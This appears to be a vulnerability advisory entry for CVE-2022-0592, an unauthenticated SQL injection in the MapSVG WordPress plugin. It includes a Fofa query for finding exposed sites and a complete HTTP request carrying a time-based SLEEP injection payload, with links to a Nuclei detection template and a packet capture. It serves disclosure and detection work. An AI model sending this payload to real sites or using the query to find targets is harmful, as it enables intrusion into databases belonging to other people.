| Title | MapSVG < 6.2.20 - Unauthenticated SQLi |
|---|---|
| Author | DhiyaneshDK |
| Severity | Critical |
| Impact | Unauthenticated attackers can execute SQL injection via REST API endpoint to extract database contents or execute arbitrary commands, potentially compromising the entire WordPress database. |
| Remediation | Upgrade to MapSVG version 6.2.20 or later. |
| CVSS Score | 9.8 |
| EPSS Score | 0.67367 |
| CVE ID | CVE-2022-0592 |
| CWE ID | CWE-89 |
| Fofa Query | body="/wp-content/plugins/mapsvg/" |
| Tags | wpscan cve cve2022 mapsvg wordpress wp wp-plugin sqli time-based-sqli vkev vuln |
The MapSVG WordPress plugin before 6.2.20 does not validate and escape a parameter via a REST endpoint before using it in a SQL statement, leading to a SQL Injection exploitable by unauthenticated users.
GET /wp-json/mapsvg/v1/maps/2?id=1%27%20AND%20(SELECT%2042%20FROM%20(SELECT(SLEEP(6)))b)--+ HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
Connection: close
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-0592.yaml
🦈 Packet Capture: ⬇️ Download cve-2022-0592.pcap
N/AN/A